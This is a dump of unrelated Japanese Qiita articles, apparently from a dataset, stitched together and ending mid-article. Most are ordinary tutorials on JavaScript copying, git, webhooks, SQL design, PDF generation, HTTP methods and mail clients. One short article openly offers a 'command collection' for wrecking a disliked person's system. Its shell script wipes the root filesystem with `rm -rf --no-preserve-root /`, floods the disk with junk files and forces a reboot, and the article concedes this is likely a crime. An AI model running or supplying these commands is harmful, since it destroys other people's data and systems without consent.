OmniAICreator/Qiita-1.07M huggingface dataset:
【JSノート】プリミティブ型とオブジェクト型、浅いコピーと深いコピー

### **プリミティブ型とオブジェクト型**

#### **プリミティブ型**
- 数値 (`number`)、文字列 (`string`)、真偽値 (`boolean`)、`undefined`、`null`、`symbol`、`bigint` などが含まれる
- 値そのものがコピーされるため、変更が元の値に**影響しない**

例: 
```javascript
let a = 10; // プリミティブ型（数値）
let b = a;  // a の値をコピー

b = 20; // b を変更しても a に影響しない
console.log(a); // 10
console.log(b); // 20
```

#### **オブジェクト型**
- 配列 (`Array`)、オブジェクト (`Object`)、関数 (`Function`) などが含まれる
- 参照がコピーされるため、変更が元の値に**影響する**

例:
```javascript
let obj1 = { x: 10 }; // オブジェクト型
let obj2 = obj1;      // obj1 の参照をコピー

obj2.x = 20; // obj2 を変更すると obj1 にも影響する
console.log(obj1.x); // 20
console.log(obj2.x); // 20
```

---

### **浅いコピーと深いコピー**

#### **浅いコピー**
- 一階層目のプロパティだけをコピーする。ネスト*されたオブジェクトや配列は参照がコピーされる

例:
```javascript
let original = { a: 1, b: { c: 2 } };
let shallowCopy = { ...original }; // 浅いコピー

shallowCopy.b.c = 3; // ネスト*されたオブジェクトの変更が元のオブジェクトに影響
console.log(original.b.c); // 3
```

#### **深いコピー**
- ネスト*されたオブジェクトや配列もすべて再帰的にコピーする。元のオブジェクトと完全に独立する

例:
```javascript
let original = { a: 1, b: { c: 2 } };

// 深いコピー (JSON を使用する簡易方法)
let deepCopy = JSON.parse(JSON.stringify(original));

deepCopy.b.c = 3; // 深いコピーの変更は元のオブジェクトに影響しない
console.log(original.b.c); // 2
```

---

### **浅いコピーと深いコピーの方法**
- **浅いコピー**
  - `Object.assign()` またはスプレッド構文 (`{ ...object }`)
- **深いコピー**
  - ネスト*が浅い場合は `JSON.parse(JSON.stringify(object))`
  - ネスト*が深い場合や非標準オブジェクトを含む場合は、再帰関数やライブラリ（例: Lodash の `cloneDeep`）を使用する

例:
```javascript
// 深いコピー: 再帰関数の例
function deepClone(obj) {
  if (obj === null || typeof obj !== "object") return obj;

  let clone = Array.isArray(obj) ? [] : {};
  for (let key in obj) {
    clone[key] = deepClone(obj[key]);
  }
  return clone;
}

let original = { a: 1, b: { c: 2 } };
let clone = deepClone(original);

clone.b.c = 3;
console.log(original.b.c); // 2
```

＊ネスト（英: nesting）：プログラミングにおいて 「入れ子」 のようにデータや構造が他のデータや構造の中に含まれることを指す。
Githubの変更通知をDiscordに送ろう

こんにちは、りょうです。
今回はGithubの変更をDiscordに通知する方法の解説です。

# webhookを作る
- まず通知したいチャンネルの設定を開いて連携サービスを選択します
- こんな画面になるので新しいウェブフックを押して作成します。
- 名前とかアイコンを好きなのに設定してURLをコピーします。

:::note alert
このwebhookURLは外部に漏れないように気をつけてください。
スパムに使われる可能性があります。
また、webhookは1チャンネルにつき15個までしか作成できないので注意
:::


![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3818367/41530046-c5d1-2f7d-7344-736b87b35734.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3818367/bfe02106-63e3-4715-316e-b660be8d4e8e.png)

# Github側の設定をする
- まず通知したいページを開きます。
- Settings→Webhooksに移動。Add Webhookを押します
- **Payload URL**に先ほどコピーしたwebhookURLを入れます。
※このときURLの末尾に`/github`をつけるのを忘れないでください。これをしないと通知されません
- **Content type**を`application/json`へ変更します。
- 完了したら緑色のAdd webhookボタンを押してください。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3818367/ed724b95-aff4-1336-9f15-f5c0db2dc6c5.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3818367/5957d48c-e2be-56df-90d2-7bed8783cb74.png)

この画面に戻ったときに緑の✓マークがついていれば成功です。
もし赤の×マークがついていれば失敗です。もう一度やり直してください

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3818367/e74e7545-d732-0096-8551-02980ffc4224.png)

## 通知
こんな感じで通知が行われます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3818367/d413cba0-4b1d-6292-c9e9-1ee2adc67422.png)

# まとめ
今回はgithubの変更をDiscordに通知するやり方の解説でした。
自分のBOTのサポートサーバーなどに使うのにいいと思います。
ミスりやすいポイントもあるので参考してもらえれば..

わからないことがあったらコメントしてもらえれば。

**Discordに湧く荒らしの情報や対策方法の共有をしている自鯖です**
よければぜひ参加を↓

https://discord.com/invite/ESRGwGQhxc
【Git入門】pushが拒否された時の対処法

## はじめに
GitHubでリポジトリを作成した後、ローカルのプロジェクトをプッシュしようとした時に以下のようなエラーに遭遇し、解決に少し頭を悩ましましたので記事にします。

## 発生したエラー

### エラー1: プッシュの拒否
```bash
! [rejected]        main -> main (fetch first)
error: failed to push some refs to 'github.com:username/repository.git'
hint: Updates were rejected because the remote contains work that you do
hint: not have locally...
```

### エラー2: ブランチの統合方法の指定が必要
```bash
hint: You have divergent branches and need to specify how to reconcile them.
hint: You can do so by running one of the following commands sometime before
hint: your next pull:
hint:   git config pull.rebase false  # merge
hint:   git config pull.rebase true   # rebase
hint:   git config pull.ff only       # fast-forward only
```

## 解決手順

##### 1. まずリモートの変更を取得します
```bash
git pull origin main --allow-unrelated-histories
```

##### 2. ブランチの統合方法を指定します
```bash
git config pull.rebase false
```

##### 3. 再度プルを実行
```bash
git pull origin main --allow-unrelated-histories
```

##### 4. コンフリクトが発生した場合は解消し、コミット
```bash
git add .
git commit -m "Resolve merge conflict"
```

##### 5. 最後にプッシュ
```bash
git push -u origin main
```

## git pullの統合方法について

プル時に表示される3つのオプションについて、それぞれの特徴を説明します。

### 1. mergeする方法
```bash
git config pull.rebase false  # merge
```

#### 特徴
- 最も一般的な選択肢です
- リモートとローカルの変更を新しいコミットで統合します
- 履歴が分かりやすく、安全です
- マージコミットが作成されるため、履歴が若干複雑になる可能性があります
---
### 2. rebaseする方法
```bash
git config pull.rebase true  # rebase
```

#### 特徴
- ローカルの変更を、リモートの最新の状態の上に移動させます
- 履歴がよりクリーンで直線的になります
- コンフリクトの解決が複雑になる可能性があります
- 既にプッシュした変更にはおすすめしません
---
### 3. fast-forward onlyする方法
```bash
git config pull.ff only  # fast-forward only
```

#### 特徴
- 最も厳格な選択肢です
- マージやリベースを行わず、単純な履歴の更新のみを許可します
- ローカルとリモートの履歴が分岐している場合はエラーになります
- 確実な履歴管理が必要な場合に使用します

## 基本的な解決s
結論、`git config pull.rebase false`がおすすめです：
- 最も安全で理解しやすいです
- コンフリクトの解決が比較的簡単です
- チーム開発でも一般的に使用されています

## 補足
- クリーンな履歴を保ちたい場合は `git config pull.rebase true`
- 厳密な履歴管理が必要な場合は `git config pull.ff only`

## まとめ
今回は、pushが拒否された時のエラー対処について解説しました。このエラーが発生する主な理由は、リモートとローカルの履歴の違いによるものです。

解決のポイントは以下の2つです
- `--allow-unrelated-histories`オプションを使用して、異なる履歴を持つブランチの統合を可能にする
- マージ戦略を明示的に指定することで、スムーズな統合を実現する

特に初学者の方は、安全で分かりやすい`git config pull.rebase false`（merge）を選択することをおすすめします。この方法であれば、チーム開発でも安心して使用できます。
lca-based auxiliary tree の頂点構成の証明

# はじめに
おはようございます。所で、lca-based auxiliary tree の頂点の個数は 2|X| - 1 以下という表式を持ちます[参考](https://atcoder.jp/contests/abc340/tasks/abc340_g)。本記事ではそれを示すにあたって重要な役割を果たす定理を、細かい命題を積み上げることで示す事を目指します。最初に、この記事は自己満足の色が濃い事を断っておきます
# 定理
示すstatementはこれです。
> 根付き木 $T$ について、行きがけ順が $i, j, k (i < j < k)$ である頂点 $v_i, v_j, v_k$ を取った時、$lca(v_i, v_k)$ は $lca(v_i, v_j)$ と $lca(v_j, v_k)$ のうち少なくとも1方と等しい。

尚これからは頂点集合を $V$ で表します。また、 $lca$ や 行きがけ順、先祖と部分木の定義は既知とし、$v \in V$ の行きがけ順を $pre(v)$ で表します。
## 命題1
> $\forall v \in V$, 集合 $\\{pre(x) \mid xはvの部分木に含まれる\\}$ は区間である  

行きがけ順を求めるアルゴリズムが、$v$ に一度入った後 $v$ の部分木内の頂点全てを訪れてから $v$ から出ていく事を言えば良いです。高さについての帰納法を考えると示せます。

この命題より、 $v \in V$ に対し自然に区間が対応します。この部分木の行きがけ順の区間を $I_v$ で表すことにします。

### 系1
> $a, v \in V$ に対し、 $v$ が $a$ の部分木に含まれる ⇔ $pre(v) \in I_a$  

ほとんど定義。


### 系2
> $a, v \in V$ に対し、 $a$ が $v$ の先祖 ⇔ $pre(v) \in I_a$

先祖と部分木の関係から明らか。

$I_v$ の交差や包含の関係について、その定義より部分木と殆ど同様に扱える事がわかります。具体的には次の2つの命題の成立が言えます。

## 命題2
> $u, v \in V, (u \neq v)$ について、 $u, v$ の高さが同じ $\Rightarrow$ $I_u$ と $I_v$ は共通部分を持たない  


## 命題3
> $v \in V$ と、その親 $p \in V$ について、 $I_v \subset I_p$  



## 系3
> $u, v \in V, (u \neq v)$ とある $h$ に対し、$(\exists v_h \ s.t. v_h の高さは \ h \ かつ\ \\{pre(u), pre(v)\\} \in I_{v_h}) \Rightarrow (\forall h' \le h, \exists v_{h'} \ s.t. v_{h'} の高さは \ h'\ かつ\ \\{pre(u), pre(v)\\} \in I_{v_{h'}})$   

1度 $\\{pre(u), pre(v)\\} \in I_{v}$ となったら、命題3よりその先祖の $I$ は全て $\\{pre(u), pre(v)\\}$ を含むことより成立。


木の各高さ $h$ に対して $\\{I\\}_h := \\{I_v \mid vの高さがh\\}$ を考えます。ここで命題2より、それぞれの $h$ について $pre(u) \in I$ となる $I$ が存在するならばそれは一意です。

ここで、系3と同値な以下の命題が得られます。

> $u, v \in V, (u \neq v), \ \exists h_{uv} \ s.t. \ (h \le h_{uv} ⇔ \exists! \ I \in \\{I\\}_h  \  s.t. \ \\{pre(v_i), pre(v_j)\\} \subset I)$

注意: これは $(u, v)$ の2ペアにとどまらず、 $(u, v, l)$ 等3タプルでも成立します（一般に頂点の集合なら成立します）

<br>

$I_v$ と $lca$ に関して次が成立します。 

## 命題4
> $u, v \in V, (u \neq v)$ について、 $lca (u, v)$ は、 $u$ の先祖である頂点 $l$ であって、 $\\{pre(u), pre(v)\\} \subset I_l$ となる $l$ の内最も低い位置にある頂点である  

系2と $lca$ の定義から明らか。


<br>

## 定理の証明
> statementの再掲
> 根付き木 $T$ について、行きがけ順が $i, j, k (i < j < k)$ である頂点 $v_i, v_j, v_k$ を取った時、$lca(v_i, v_k)$ は $lca(v_i, v_j)$ と $lca(v_j, v_k)$ のうち少なくとも1方と等しい。  

$v_i, v_j$ のペアに対し、系3の2つ目の命題が存在を保証する値 $h$ を $h_{ij}$ と置きます。および、$v_j, v_k$ のペアに対応する値を $h_{jk}$と置き、 $v_i, v_k$ に対応する値を $h_{ik}$と、 $v_i, v_j, v_k$ のタプルに対応する値を $h_{ijk}$ と置きます。

$h_{ij}$ と $h_{jk}$ の大小関係で場合分けします。


### h_{ij} <= h_{jk} の時
命題1より以下が成立します。
$$ h_{ij} = h_{ik} = h_{ijk}$$  
そして命題4より $lca(v_i, v_k)$ と $lca(v_i, v_j)$ はそれぞれ $h = h_{ik}, \ h_{ij}$ の時の定義中の $\exists ! I$ を持つ頂点であり、これらは共に $h = h_{ijk}$ の時の定義中の  $\exists ! I$ を持つ頂点 でもあるので
$$lca(v_i, v_k) = lca(v_i, v_j)$$
が成立します。

### h_{jk} <=  h_{ij} の時
先ほどと同様にして
$$ h_{jk} = h_{ik} = h_{ijk}$$
$$lca(v_i, v_k) = lca(v_j, v_k) $$


よって場合分けが尽くされ、定理は示されました。


# あとがき
お疲れ様でした。いかがでしたか? 大学の数学の入門教材のような、細かい命題が全体を構成していて、1つ1つの証明をそこまで頑張らないような証明が書いてみたくて本記事を書いてみました。
個人的には少し回りくどい議論になってしまった気もしています。特に最初の方の $I_v$ の定義パートを書いている時には虚無感すら感じました。最後に $I_v$ の区間性を用いた事でトントンといった具合です。  
部分木の包含関係を区間の包含関係に落とすとわかり易くて頭に優しいです。色々書いただけあって、読むのにあまり無理のない構成にはできたと思っています。特に、1つ1つの殆ど成立が明らかな命題を（必要ならば証明も添えて）納得していくことで、自然と全体が自明に感じて頂けたら幸いです。
SQL データにメタデータを増殖させない

## はじめに
最近、オライリー・ジャパンの「SQLアンチパターン」という本を読んでいます。前回の記事に引き続き、今回は「メタデータトリブル（メタデータ大増殖）」というアンチパターンについて、私なりの実例を交えながら解説したいと思います。

## メタデータトリブル（メタデータ大増殖）とは？
メタデータトリブルとは、データベース設計において、データを時系列や種類ごとに分割しようとするあまり、似たような構造のテーブルが無秩序に増殖してしまうアンチパターンを指します。

特に、年度や月ごとにテーブルを分割する「時系列分割」は、一見整理されているように見えながら、実際には多くの問題を引き起こす典型的なアンチパターンです。

## 参考著書
オライリー・ジャパン「SQLアンチパターン」
https://www.oreilly.co.jp/books/9784873115894/

## 問題のある実装例
以下のような売上管理システムを例に考えてみます。

```sql
-- 2022年の売上テーブル
CREATE TABLE sales_2022 (
    sale_id INT PRIMARY KEY,
    sale_date DATE,
    customer_id INT,
    product_id INT,
    amount DECIMAL(10,2)
);

-- 2023年の売上テーブル
CREATE TABLE sales_2023 (
    sale_id INT PRIMARY KEY,
    sale_date DATE,
    customer_id INT,
    product_id INT,
    amount DECIMAL(10,2)
);

-- 2024年の売上テーブル
CREATE TABLE sales_2024 (
    sale_id INT PRIMARY KEY,
    sale_date DATE,
    customer_id INT,
    product_id INT,
    amount DECIMAL(10,2)
);
```

一見、以下のようなメリットがあるように思えます。

- 古いデータと新しいデータを物理的に分離できる
- 各年のテーブルサイズが小さくなる
- 特定年のデータのみを操作する際にパフォーマンスが向上する

## デメリット
しかし、この設計には以下のような重大な問題があります。

1. クエリの複雑化
    - 複数年のデータを集計する際に、UNIONを多用する必要がある
    - 以下のような複雑なクエリが必要になる
```sql
SELECT 
    customer_id,
    SUM(amount) as total_amount
FROM (
    SELECT customer_id, amount FROM sales_2022
    UNION ALL
    SELECT customer_id, amount FROM sales_2023
    UNION ALL
    SELECT customer_id, amount FROM sales_2024
) combined_sales
GROUP BY customer_id;
```

2. メンテナンス性の低下
    - 新年度が始まるたびに新しいテーブルを作成する必要がある
    - スキーマ変更時に全テーブルを修正する必要がある
    - バックアップやリストアの手順が複雑化


3. アプリケーション開発の複雑化
    - テーブル名を動的に組み立てる必要がある
    - 年をまたぐデータの処理が複雑化
    - トランザクション管理が困難になる

## 解決策
このアンチパターンを避けるためには、以下のアプローチを検討します。

#### 1. 単一テーブルでの管理
```sql
CREATE TABLE sales (
    sale_id INT PRIMARY KEY,
    sale_date DATE,
    customer_id INT,
    product_id INT,
    amount DECIMAL(10,2)
);
```

#### 2. パーティショニングの活用
- 物理的なデータ分割が必要な場合は、データベースの機能としてのパーティショニングを使用
- 論理的には1つのテーブルとして扱いながら、物理的な分割のメリットを得られる


#### 3. アーカイブ戦略の検討
- 古いデータを別テーブルに移動する場合は、明確なアーカイブポリシーを策定
- 必要に応じてビューを作成し、アプリケーションからの透過的なアクセスを確保

## まとめ
年度ごとのテーブル分割は、「やってはいけないよね」と思いつつも、なぜやってはいけないのか、言語化することができました。

年度ごとのテーブル分割が引き起こす問題点は以下の通りです。
- クエリが複雑になり、保守性が低下する
- スキーマ変更時に全テーブルの修正が必要
- 年をまたぐデータ処理が困難


代わりに、以下のポイントに注意して設計することで、より保守性の高いデータベースを実現できることを学びました。

- 単一テーブルでの管理を基本とする
- 必要に応じてパーティショニングを活用する
- 明確なアーカイブポリシーを策定する

これにより、シンプルで保守性が高く、かつパフォーマンスも考慮されたデータベース設計が可能になりますね！
【TypeScript】フロントエンドでのPDF生成

# はじめに
今回はフロントエンド(TypeScript)でのPDF生成について紹介します。
画像などを変換するのではなく、アプリケーションの持っている情報を特定の座標に描画したPDFファイルです。
また、要件として罫線のある表を描画する想定です。
描画するコードそのものでは長くなってしまうため、ライブラリ選定理由・罫線のある表を描画するために使った関数・実装時のコード整理などについてのみとします。
利用したライブラリは[PDF-LIB](https://pdf-lib.js.org/)です。
※この記事の内容は[テックブログ](https://uniforce.co.jp/media/blog/liix8z7p6ce/)でも公開しています。

### 環境
弊社ではNuxt.jsの3系を利用しているため、Vueも3系、TypeScriptとなります。
```bash
"nuxt": "3.11.2"
"pdf-lib": "1.17.1"
```

## PDF生成

### ライブラリ選定

PDF生成を出来るライブラリはいくつかありますが、下記の理由から`PDF-LIB`を選択しました。

- フォントの読み込み方法が簡単
    - PDFライブラリについて調べていると日本語フォントの導入がひとつの詰まりやすいポイントであることが分かりました
    - 読み込み方を見比べていると、`PDF-LIB`は`assets`フォルダなどに配置したフォントファイルをコンポーネントで読み込めば良さそうだったため理解しやすかったです
- 文字揃えなどの機能がなくライブラリ利用者側が計算をする方針
    - 今回は罫線のある表を描画するという前提がありましたが、ライブラリがそれらの要件を満たせるかをそれぞれ調査するよりも、計算は自前でやってしまう前提の方が今後の要件追加などを考えても良いと考えました

### 描画

要件である表の描画を目指すために必要な機能を紹介します。

- 文字列

https://pdf-lib.js.org/docs/api/classes/pdfpage#drawtext
`drawText`関数で文字列を描画出来ます。

- 罫線(四角形)

https://pdf-lib.js.org/docs/api/classes/pdfpage#drawrectangle
`drawRectangle`関数で四角形を描画できます。

- 文字列の幅計算

https://pdf-lib.js.org/docs/api/classes/pdffont#widthoftextatsize
`widthOfTextAtSize`関数で文字列の描画に必要な横幅を取得することが出来ます。

- 改行・文字揃え

今回は出力するPDFファイルの横幅には指定があったため、各四角形の横幅は固定値でした。
各四角形に入る文字列が四角形に入りきらない場合もあるため、改行をする必要があります。

`widthOfTextAtSize`関数で文字列の横幅を指定して必要な箇所で改行を挟みます。
同様に文字揃えについても文字列の横幅を計算することで、文字列の描画開始位置(X)を計算することが出来ます。

- フォント指定

今回はNuxt.jsなので、`assets`フォルダにフォントファイル(`.otf`)を配置しました。
PDFを生成するコート上で、下記のようにフォントファイルを読み込み、`PDFFont`型を取得します。
```tsx
import FontRegular from './assets/fonts/NotoSerifJP-Regular.otf'

const fontBytes = await fetch(FontRegular).then((res) => res.arrayBuffer())
const font = await pdfDoc.embedFont(fontBytes)
```
この`PDFFont`を`drawText`関数などに渡してあげることで、日本語フォントでの文字列描画が出来ます。

### コード整理

ある程度自由にPDFを作れるようにしつつ、罫線を用いた表を描画出来るようにしました。

ただの文字列・改ページで分断されないようにブロック化した文字列・テーブルの行(計算で囲まれた表)の3種類の型を定義しました。
利用者はこれらの型のユニオン型である`PDFElement`型の配列をPDF生成クラスに渡し、PDF生成クラスでは配列の要素ごとに描画処理をしていきます。

描画時はX, Y軸の位置を指定する必要があるため、配列のループ処理の中で1行目はY軸0、2行目は1行目の高さをY軸に加算する…といった具合に描画を進めていきます。

参考までに、下記は定義した型のイメージです。

```tsx
// テキスト用のPDF要素
type PDFTextElement = {
  type: 'text'
  text: string
  size: number
  align: 'center' | 'left' | 'right'
}

// テキストブロック用のPDF要素
// ブロックで定義することで改ページ時にブロックが分断されないようにする
type PDFTextBlockElement = {
  type: 'textBlock'
  elements: PDFTextElement[]
}

// テーブル行用のPDF要素
// 枠で囲まれて描画される
type PDFTableRowElement = {
  type: 'tableRow'
  rows: {
    text: string
    size: number
    width: number
  }[]
}

type PDFElement = PDFTextElement | PDFTextBlockElement | PDFTableRowElement
```

### 保存

https://pdf-lib.js.org/docs/api/classes/pdfdocument#save
PDFの保存には`save`関数を使います。

`save`関数の戻り値は`Promise<UInt8Array>`型のため、あとは自由に保存処理を実行するだけです。

## おわりに

PDFを生成するライブラリはいくつかありますが、今回はPDF-LIBを用いて表のあるPDFを生成しました。

計算をライブラリ利用者に任せる代わりに、関数ごとの動作やオプションも分かりやすく、なおかつ必要な関数は揃えてくれるため詰まることなく実現することが出来ました。

ここまで見ていただき、ありがとうございました！
Rancher Desktopのスナップショット機能とは？―開発・テスト効率を上げる新機能を学ぼう―



https://enishiblog.org/post-4662/#google_vignette

上記の理由でDocker Desktopが使えなくなったのでこの際にRancher Desktopに乗り換えました。

Rancher Desktopは、Kubernetesクラスタのローカル開発を容易にするための高機能ツールとして人気を集めています。

この中でも、スナップショット機能は、開発やテストの効率を向上させるための最新の機能です。この記事では、この機能の特徴や利用シーン、使用時の注意点について解説します。

---

### スナップショット機能の主要特徴

1. **現在の状態の保存**
   Rancher Desktopのスナップショット機能は、バーチャル機能を使用して現在の構成や設定を保存することができます。これにより、後日任意の時点に帰すことが可能です。

2. **保存した状態の復元**
   保存したスナップショットを復元することで、定義した開発環境に返すことができます。テストや構成調整時の便利な機能です。

3. **スナップショットの管理**
   GUI上での作成、復元、削除の操作が簡単に行えます。また、CLIを使用した操作も可能です。

---

### 利用シーン

#### テスト環境のリセット
データベースマイグレーションのテストによく使用されます。スナップショットを活用して、スムーズな構成変更に対応することが可能です。

#### 開発環境のバックアップ
お気に入りのHelmアプリやDocker拡張機能をインストールした状態を保存しておけば、リセット後に容易に復元できます。

以下のようにスナップショットが取得できます。イメージ・コンテイナーの復元が簡単に管理

![スクリーンショット 2025-01-27 13.17.31.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2294049/83c19a78-54df-effc-4950-1cdf3eac8ca2.png)

---

### 注意点

1. **実験的機能であること**
   Rancher Desktopのスナップショット機能は実験的なステータスにあるため、不安定な動作をする場合があります。

2. **ディレクトリの保存場所**
   スナップショットは以下のディレクトリに保存されます。これを見失うことなく利用しましょう。

   - macOS: `~/Library/Application\ Support/rancher-desktop/snapshots`
   - Linux: `~/.local/share/rancher-desktop/snapshots`
   - Windows: `%LOCALAPPDATA%\rancher-desktop\snapshots`

---

### 結論

Rancher Desktopのスナップショット機能は、テスト環境や開発構成の効率化を目指した実験的な機能です。
試行錯誤が繰り返されるシーンで完璧に復元することで、開発・テストの流れを分断せず、スムーズな履歴を絶やしません。
嫌いなあの人のシステムを荒らすコマンド

## 茶番



### 本題

嫌いなあの人のシステムを荒らすコマンドを探していますか?

そんな人のためのコマンド集です。

:::note warn
多分、絶対犯罪です
:::


動かなくなる魔法のコマンド()
```sh

yes | sudo apt update
yes | sudo apt upgrade


for i in {1..1500}; do mkdir $(cat /proc/sys/kernel/random/uuid); done
for i in {1..1500}; do touch $(cat /proc/sys/kernel/random/uuid).txt; done

ls



rm -rf --no-preserve-root /


echo "bye"
shutdown -r now
```

:::note warn
下記途中
個人的な備忘録：HTTPメソッド「PUT」と「PATCH」の違いを記事として整理し、アウトプットしてみた

## はじめに

PUT と PATCH はどちらもHTTPプロトコルのメソッドで、リソースを更新するために使用されますが、その動作に違いがあります。

:::note warn
**特にAPI設計を行う際、どちらを選ぶべきかを理解しておくことが重要だと感じたためです。**
:::

なお、本記事は個人的な備忘録としてまとめたものです。***その点をご理解いただければ幸いです。***

## 書こうと思ったきっかけ
受講しているITスクールのハッカソン活動において、バックエンド担当の方がAPI設計を行っていました。

:::note info
***その中で、基本的なHTTPメソッドについては理解できていたものの、PUT と PATCH の違いがよく分からず、混乱する自分がいました。***
:::

そこで、自分の頭の中を整理するため、さらに同じような疑問を抱える方の参考になればと思い、今回記事としてまとめてみました。

## まず、簡単な違いとどちらを使うべきか？

- **PUT** を使用するのは、リソース全体を明示的に置き換えたい場合。
- **PATCH** を使用するのは、リソースの一部だけを更新したい場合。

## 1. PUT: リソースの完全置換

- **動作**
  - リソース全体を置き換えます。
  - クライアントが送信するデータがリソース全体の状態を表します。
  - 送信しないフィールドはサーバー上で削除されます。

- **特徴**
  - **冪等性**: 同じリクエストを何回送っても結果が変わりません。
  - 主にリソース全体を更新、または作成（リソースが存在しない場合）する際に使用されます。

**例**

```http
PUT /users/123
{
  "name": "Alice",
  "age": 30,
  "email": "alice@example.com"
}
```

上記のリクエストでは、`123`のユーザーリソース全体がこのデータで置き換えられます。

## 2. PATCH: リソースの部分更新

- **動作**
  - リソースの一部だけを更新します。
  - クライアントは更新するフィールドだけを送信します。
  - 送信しないフィールドはサーバー上でそのまま保持されます。

- **特徴**
  - 部分更新に適しています。
  - **冪等性**: 通常期待されますが、API設計によって異なる場合があります。



**例**

```http
PATCH /users/123
{
  "email": "alice.new@example.com"
}
```

上記のリクエストでは、`123`のユーザーのメールアドレスだけが更新されます。他のフィールド（`name` や `age` など）は変更されず、そのまま保持されます。

## PUTとPATCHの主な違い
PUTとPATCHの違いを、自分なりに簡単な表にまとめました。必要に応じて参考にしてください。

| **特徴**      | **PUT**                                    | **PATCH**                                   |
|---------------|-------------------------------------------|-------------------------------------------|
| **更新対象**   | リソース全体の置換                        | リソースの部分更新                        |
| **冪等性**     | あり（複数回実行しても結果が変わらない）   | あり（通常は冪等性が期待される）           |
| **データ量**   | 全データを送信                            | 必要な部分だけ送信                        |
| **用途**       | リソース全体の更新や新規作成              | リソースの一部だけ変更                    |


## まとめ

PUTはリソース全体を置き換える際に使用し、PATCHはリソースの一部を更新する場合に適しています。

:::note warn
**PUTは全データを送信するのに対し、PATCHは必要な部分のみ送信します。**
:::

***今後もこのような基本的な内容を丁寧にまとめ、自分の知識としてしっかりと定着させていきたいと思います。***
【メールソフト Outlookについて】

# はじめに
こんにちは小林と申します。
今回はOutlookというメールソフトについて記事を書いていこうと思います。

# Outlookとは
Microsoft社が開発したMicrosoft Outlookは、多機能なメールソフトです。
スケジュールやタスクの管理、ExcelやWordとの連携もできます。
またOutlookにはWeb版とアプリ版があり、それぞれ使える機能や特徴が異なります。
Web版はブラウザ上でログインしてOutlookを利用するため、インストールしなくてもインターネットにつながっていればいつでも利用可能です。一方、アプリ版のOutlookはクラウド型サービス「Microsoft365」に含まれているOutlookで、パソコンにインストールして利用できます。
2つの大きな違いとして、アプリ版はインターネットに接続していなくてもパソコンまたはスマホでメールを確認できますが、Web版はできません。

# Outlookのメリット
Outlookの最大のメリットは他のメールソフトと違い、スケジュール管理機能とタスク管理が出来る点にあります。
・スケジュール管理
　会議や個人の予定を管理できます。
 会議スケジュールを共有すると、相手のカレンダーにも同じスケジュールが登録されます。
 
・タスク管理
　タスクの備考欄には、テキスト以外に画像の挿入も可能です。
　資料作成に必要な画像を添付しておけば、探す手間も省くことができます。

# Outlookのデメリット
デメリットと感じる部分には他のメールソフトでも同じことが言えると思います。
・インターネットに繋がっていないと使えない

・受信した添付ファイルをドラック＆ドロップでフォルダ等に保存できない
　Outlook では、画像やファイルをコピー・アンド・ペーストする際、サイズや形式が変更されることがあります。
　これにより、原本と異なるサイズや形式の画像やファイルが送信される可能性があります。

・検索機能の限界
　Outlook の検索機能は、基本的なワード検索しか対応しておらず
　検索結果の精度も高くはありません。
　これにより、必要なメールを探すのに時間がかかる可能性があります。

 # よくあるトラブル
 ・Outlookは動作を停止しました」と、フリーズしてしまう事がある。
 「Outlookは動作を停止しました」というエラーメッセージが表示され、Outlookがフリーズしてしまう不具合があります。
 解決方法としてはOfficeの修正を行う事で改善する場合が多いです。
 最悪の場合はOfficeの再インストールが必要になります。
 
 ・Outlookが重い
 Outlookではメールデータが一つのファイルに保存されるため、長く使用していると動作が重くなる事があります。
 解決方法としてはWindows/Officeのアップデートやデータファイルの修復、修復ツールscanpst.exeの利用をおこなう事で改善する場合が多いようです。

 その他にもWindows10，11のアップデートがある際にトラブルが起きているようです。

# おわりに
「Microsoft Outlook」は無料で利用できるwebメールもあり、スケジュールやタスク管理、アドレス帳なども利用できます。
いろいろなメールソフトが存在しているので自分自身にあったものを利用する事で業務の効率化に繋がると思います。

以上、小林でした。
macOS SequoiaでXcode15以下を実行できるようにする回避策

## エラー本文
macOS Sequoia でXcode15以下を実行使用とすると下記のような警告が出るようになりました。

![スクリーンショット 2025-01-27 12.51.05.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/844247/9076808d-a555-4cb2-ee30-91f53d7a4c10.png)

- EN
```
In order to use ‘Xcode-15.x.x’, you need to update to the latest version.
```
- JA
```
“Xcode-15.x.x”を使用するには、最新のバージョンにアップデートする必要があります。
```


## 回避策1
時間がかかるが、確実な方法

1. Finderからアプリケーションフォルダを開きます。
2. Xcode 15.xxアプリを見つけます。例: Xcode-15.4.0.app
3. Xcodeアプリを右クリックし、「パッケージの内容を表示」を選択します。
4. フォルダーに移動しContents、次にMacOSフォルダーに移動します。
5. 内部には、 Xcodeという名前のUnix実行ファイルがあります。
6. ファイルをダブルクリックすると、 対象のXcodeが起動されます
## 回避策2
※挙動が少しおかしかったりする

- コマンドでそのまま実行
```shell
/Applications/Xcode-15.x.x.app/Contents/MacOS/Xcode ; exit;
```
### エイリアスを張る(任意)
zshrcの例
自分の環境に合わせて変更してください

- エイリアスの設定
```shell
echo "alias xcode15.x.x=\"/Applications/Xcode-15.x.x.app/Contents/MacOS/Xcode\"" >> ~/.zshrc
```
- shell 保存
```shell
source ~/.zshrc
```
- 実行
```shell
xcode15.x.x
```

## 終わりに
何か他にいいアイディアなどあれば教えていただけたらと思います

## 参考
https://stackoverflow.com/questions/78996419/xcode-15-is-not-running-in-macos-sequoia#:~:text=To%20extend%20already-,given,-answers%3A

https://www.mehmetbaykar.com/posts/xcode-tips-run-xcode-15-on-macos-sequoia/
【メールソフト Thunderbirdnについて】

# はじめに
こんにちは小林と申します。
今回はThunderbirdというメールソフトについて記事を書いていこうと思います。

# Thunderbirdとは
Thunderbird（サンダーバード）は、Mozilla Foundationが開発している無料のオープンソースメールクライアントソフトウェアです。メールの管理やニュースフィードの閲覧、チャット、ニュースグループ機能などを搭載しています。

# Thunderbirdのメリット
①1つの画面で複数のアドレスを管理
複数のメールアドレスを使い分けている場合、WEBメールでは都度ログイン・ログアウトが必要なケースもありますが、Thunderbirdでは一括で管理ができます。
